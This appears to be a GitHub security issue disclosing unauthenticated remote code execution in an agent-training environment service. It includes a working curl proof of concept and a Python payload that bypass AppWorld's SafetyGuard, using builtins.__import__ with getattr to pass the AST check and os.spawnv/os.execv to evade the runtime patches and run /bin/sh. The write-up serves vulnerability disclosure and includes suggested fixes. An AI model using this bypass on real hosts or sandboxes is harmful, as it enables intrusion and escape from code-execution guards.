Skip to content

env_service API is unauthenticated, binds 0.0.0.0 by default, and /step leads to code execution (AppWorld guard bypassed) #50

Description

@EvolveAegis

Summary

env_service/env_service.py exposes a FastAPI service with three endpoints (/create, /step, /evaluate) that have no authentication at all, and the service binds 0.0.0.0 by default (env_service.py:738, launched at :763). /step forwards the request's action to the AppWorld environment, where it executes as code (env_service/environments/appworld/appworld_env.py:970-984self.world.execute(action)).

The only content guard is AppWorld's SafetyGuard (two layers, both default-on). I bypassed both with the real guard code:

  • layer 1, is_syntax_safe (static AST): import builtins\ngetattr(builtins.__import__('os'), 'system')('...') passes (returns safe) — builtins is allowed and __import__/getattr aren't on the disallowed function list;
  • layer 2, safety_guard.enable() (runtime patch): os.system/os.popen/subprocess.Popen are monkeypatched to no-ops — but os.spawnv and os.execv are not patched and not in the static blocklist. Executing getattr(builtins.__import__('os'), 'spawnv')(0, '/bin/sh', ['/bin/sh','-c','echo PWNED > /tmp/canary']) (and the same with os.execv) with both gates fully enabled wrote the canary file (verified in a subprocess with the guard enabled).

So with the default config: any network peer that can reach the port can submit an action that executes code on the training host, unauthenticated.

Details

  • env_service.py:738default="0.0.0.0" (uvicorn host); :763uvicorn.run(app, host=args.portal, port=args.port).
  • POST /create (env_service.py:527-546), POST /step (:571), POST /evaluate (:609) — no auth dependency on any route; a grep for token/verify across the service is empty.
  • /stepenv_service.stepappworld_excute(action) (appworld_env.py:970-984) → AppWorld.execute (appworld 0.1.3.post1 environment.py); AppWorld is constructed with defaults (appworld_env.py:728-731), i.e. raise_on_unsafe_syntax and null_patch_unsafe_execution both on.
  • Guard layer 1 (SafetyGuard.is_syntax_safe): static AST; imports must be in ALLOWED_MODULE_NAMES; os.system etc. on the disallowed path list. builtins is allowed; __import__/getattr are not detected by the import/function-path parsers.
  • Guard layer 2 (safety_guard.enable()): patches os.system, os.popen, subprocess.Popen, etc. to no-ops. os.spawnv/os.execv are not covered.
  • Secondary (same unauth surface): /create accepts params; openworld env reads params['server_configs_path'] as JSON from an arbitrary server path (openworld_env.py:108-114), and MCP config params can carry an arbitrary command (mcp_utils.py:34-43).

How to reproduce

# with the default host (0.0.0.0) — any reachable peer, no credentials:
curl -X POST http://<host>:<port>/step \
  -H 'Content-Type: application/json' \
  -d '{"instance_id": "<any-id>", "messages": [{"role":"user","content":"import builtins\ngetattr(builtins.__import__(\"os\"), \"spawnv\")(0, \"/bin/sh\", [\"/bin/sh\",\"-c\",\"echo PWNED > /tmp/canary\"])"}]}'

Guard bypass (both layers on), executed directly against SafetyGuard:

import subprocess, textwrap
runner = textwrap.dedent("""
    from appworld.common.safety_guard import SafetyGuard
    g = SafetyGuard()
    g.enable()                      # runtime layer, AppWorld default
    code = sys.stdin.read()
    exec(code)
    """)
payload = "import builtins\ngetattr(builtins.__import__('os'), 'spawnv')(0, '/bin/sh', ['/bin/sh','-c','echo PWNED > /tmp/canary'])"
subprocess.run([sys.executable, "-c", runner], input=payload, ...)   # /tmp/canary written

Impact

Unauthenticated remote code execution on training hosts running the env service with the default binding. The environment executes task-world actions by design; the point is the missing auth + default 0.0.0.0 + the guard being bypassable, which turns the designed (trusted, internal) code-execution endpoint into an unauthenticated one.

Suggested change

  • Bind loopback by default (127.0.0.1) and/or require a token on /create /step /evaluate (the launcher already has config plumbing for this).
  • Extend the guard: add os.spawnv/os.execv/os.spawnl etc. to the static blocklist and to the runtime patch list — or better, run actions in a real sandboxed process rather than in-process patches.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions